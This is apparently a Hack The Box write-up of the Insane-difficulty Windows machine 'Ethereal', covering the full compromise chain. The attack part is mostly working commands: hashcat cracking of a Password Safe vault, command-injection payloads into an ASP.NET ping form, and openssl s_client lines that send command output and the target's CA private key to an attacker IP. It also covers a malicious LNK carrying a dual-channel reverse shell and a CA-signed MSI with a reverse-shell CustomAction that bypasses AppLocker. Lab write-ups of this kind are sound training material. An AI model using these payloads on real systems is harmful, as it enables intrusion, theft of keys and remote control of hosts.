Ethereal
Ethereal is a deeply layered Insane Windows box: FTP anonymous login leaks a Password Safe vault whose cracked master password opens an ASP.NET command-injection form; from there, egress-filtered to two SSL ports, the chain pivots through a shortcut automation trap to jorge and then through a self-signed MSI AppLocker bypass to rupal.
Overview
Ethereal is an Insane-difficulty Windows machine that chains four distinct techniques into a single path: anonymous FTP exposes a crackable Password Safe database leading to credentials for a command-injectable ASP.NET ping form on port 8080; the firewall allows only outbound TCP 73 and 136, so exfiltration runs entirely through OpenSSL; a malicious LNK shortcut planted in a shared Shortcuts folder triggers jorge’s automation for lateral movement; and a CA-signed MSI with a reverse-shell CustomAction runs under rupal’s automation to deliver the root flag.
Machine Matrix
IP: 10.129.15.43 · OS: Windows · Difficulty: Insane · Ports: 21, 80, 8080
Recon
1
nmap -sC -sV -p 21,80,8080 10.129.15.43
Three ports open:
| Port | Service | Notes |
|---|---|---|
| 21 | FTP (vsftpd) | Anonymous login allowed |
| 80 | IIS HTTP | Minimal page, nothing actionable |
| 8080 | IIS HTTP | HTTP Basic Auth — ASP.NET WebForms ping/search diagnostic form |
Enumeration
FTP — anonymous access
1
wget -m --no-passive-ftp ftp://anonymous:[email protected]/
FTP anonymous login (CWE-306) mirrors the server tree, which contains a Password Safe v3 file (PasswordBox.psafe3) and several onboarding PDFs.
1
for f in *.pdf; do echo "=== $f ==="; pdftotext "$f" -; done
The PDFs reveal the username alan with a hint about their vault password format.
Crack the .psafe3 master password
1
hashcat -a 0 -m 5200 PasswordBox.psafe3 /usr/share/wordlists/rockyou.txt
The master password is a common dictionary word (CWE-521). Opening the vault in Password Safe reveals alan’s credentials for the port 8080 web application.
Port 8080 — ASP.NET diagnostic form
Authenticating with alan’s credentials against port 8080 reveals a WebForms page with a network-diagnostic search/ping field. The form fetches a fresh __VIEWSTATE per request; each POST must include it.
Foothold
Command injection via ping form
The search parameter is concatenated directly into a cmd.exe call (CWE-78). Windows & executes a second command after the first regardless of exit code:
1
search=127.0.0.1 & whoami
The Windows Firewall allows only TCP outbound on ports 73 and 136. PowerShell, certutil, and curl are AppLocker-blocked for the IIS worker, but openssl.exe is Publisher-whitelisted. Output exfiltration pipes through openssl s_client:
1
2
3
# Kali: start SSL listener to receive command output
openssl req -x509 -newkey rsa:2048 -keyout /tmp/k.pem -out /tmp/c.pem -days 365 -nodes -subj "/CN=kali"
openssl s_server -quiet -accept 73 -cert /tmp/c.pem -key /tmp/k.pem
Inject via the form:
1
search=127.0.0.1 & cmd /c whoami 2>&1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -connect 10.10.16.166:73 -quiet 2>nul
Confirms execution as ethereal\alan (IIS application pool identity).
Enumerate CA material on disk
1
search=127.0.0.1 & cmd /c dir D:\Certs\ 2>&1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -connect 10.10.16.166:73 -quiet 2>nul
D:\Certs\ contains MyCA.cer and MyCA.pvk — the target’s own CA certificate and private key, both readable by the IIS worker.
1
2
3
4
5
6
7
# Exfil the CA files to Kali
# Injection for cert:
# search=127.0.0.1 & C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -connect 10.10.16.166:73 -quiet < D:\Certs\MyCA.cer 2>nul
# Injection for pvk:
# search=127.0.0.1 & C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -connect 10.10.16.166:73 -quiet < D:\Certs\MyCA.pvk 2>nul
openssl s_server -quiet -accept 73 -cert /tmp/c.pem -key /tmp/k.pem > MyCA.cer
openssl s_server -quiet -accept 73 -cert /tmp/c.pem -key /tmp/k.pem > MyCA.pvk
User flag
1
2
# Injection to read user.txt
# search=127.0.0.1 & cmd /c type C:\Users\alan\Desktop\user.txt 2>&1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -connect 10.10.16.166:73 -quiet 2>nul
1
HTB{...}
user.txt read as ethereal\alan via the IIS injection / openssl exfil path.
Lateral Movement
Build and deliver a malicious LNK shortcut
Jorge’s automation periodically opens every .lnk file placed in C:\Users\Public\Desktop\Shortcuts\ (CWE-284). The IIS worker has write access to that directory. A malicious shortcut embedding a dual-channel openssl reverse shell can therefore trigger a connection as ethereal\jorge.
The LNK points to:
1
2
C:\Windows\System32\cmd.exe
Arguments: /c START "" /MIN cmd /c "C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.16.166:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.16.166:136"
The LNK is built offline (Python struct / pylnk) and served via openssl s_server since PowerShell/certutil are AppLocker-blocked:
1
2
# Kali: serve the LNK binary over SSL
openssl s_server -quiet -accept 73 -cert /tmp/c.pem -key /tmp/k.pem < /tmp/vs_build.lnk
Download synchronously via IIS injection (no START — small file, request completes within timeout):
1
search=127.0.0.1 & C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -connect 10.10.16.166:73 -quiet > "C:\Users\Public\Desktop\Shortcuts\Visual Studio 2017_1.lnk" 2>nul
Then rename to the automation-watched name:
1
search=127.0.0.1 & cmd /c copy "C:\Users\Public\Desktop\Shortcuts\Visual Studio 2017_1.lnk" "C:\Users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk" /Y
Start dual-channel listeners on Kali and wait for jorge’s automation to trigger:
1
2
openssl s_server -quiet -accept 73 -cert /tmp/c.pem -key /tmp/k.pem # stdin channel
openssl s_server -quiet -accept 136 -cert /tmp/c.pem -key /tmp/k.pem # stdout channel
Jorge’s shell connects within the automation polling interval. Confirm identity:
whoami
1
ethereal\jorge
Privilege Escalation
Sign a malicious MSI with the target’s own CA
AppLocker’s Publisher rule allows any MSI signed by a certificate chaining to the target’s own CA (D:\Certs\MyCA.cer + MyCA.pvk). Since both files are world-readable (CWE-732), they can be used to sign an attacker-crafted MSI that passes AppLocker validation.
Build an MSI with a Type-50 (immediate) CustomAction that runs the reverse-shell payload. Sign it using the exfiltrated CA chain:
1
2
3
4
5
6
7
8
9
# Build the signing chain from the exfiltrated CA files
makecert -pe -n "CN=My SPC" -a sha256 -cy end -sky signature \
-ic MyCA.cer -iv MyCA.pvk -sv MySPC.pvk MySPC.cer
pvk2pfx -pvk MySPC.pvk -spc MySPC.cer -pfx MySPC.pfx
# Sign the MSI
signtool sign /v /f MySPC.pfx exec-signed.msi
# Alternatively, on Kali using jsign:
# java -jar jsign.jar --keystore MySPC.pfx --storetype PKCS12 --storepass "" exec-signed.msi
Deliver the MSI to jorge via Shortcuts, then pivot to D:\DEV\MSIs\
Alan can write to C:\Users\Public\Desktop\Shortcuts\ but not to D:\DEV\MSIs\; jorge has write access to the latter. Deliver the MSI to Shortcuts via an async IIS injection (START returns immediately while the background cmd downloads the 21 KB file):
1
openssl s_server -quiet -accept 73 -cert /tmp/c.pem -key /tmp/k.pem < exec-signed.msi
Injection (async with START so HTTP timeout is not hit):
1
search=127.0.0.1 & START "" cmd /c "C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -connect 10.10.16.166:73 -quiet > C:\Users\Public\Desktop\Shortcuts\exec-signed.msi 2>nul"
From jorge’s shell, copy to the rupal-watched directory:
copy C:\Users\Public\Desktop\Shortcuts\exec-signed.msi D:\DEV\MSIs\exec-signed.msi /Y
dir D:\DEV\MSIs\
Rupal’s automation polls D:\DEV\MSIs\ every few minutes and runs every new MSI it finds. The CustomAction payload:
1
ping -n 15 localhost && C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.16.166:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.16.166:136
Start listeners and wait:
1
2
openssl s_server -quiet -accept 73 -cert /tmp/c.pem -key /tmp/k.pem # stdin
openssl s_server -quiet -accept 136 -cert /tmp/c.pem -key /tmp/k.pem # stdout
Rupal’s shell connects within the polling interval. Confirm:
whoami
1
ethereal\rupal
Root flag
type C:\Users\Rupal\Desktop\root.txt
1
HTB{...}
Root flag captured as ethereal\rupal (Administrators group member). Full chain complete: FTP anon → psafe3 crack → ASP.NET OS command injection → OpenSSL exfil → LNK automation trap (jorge) → CA-signed MSI AppLocker bypass → rupal.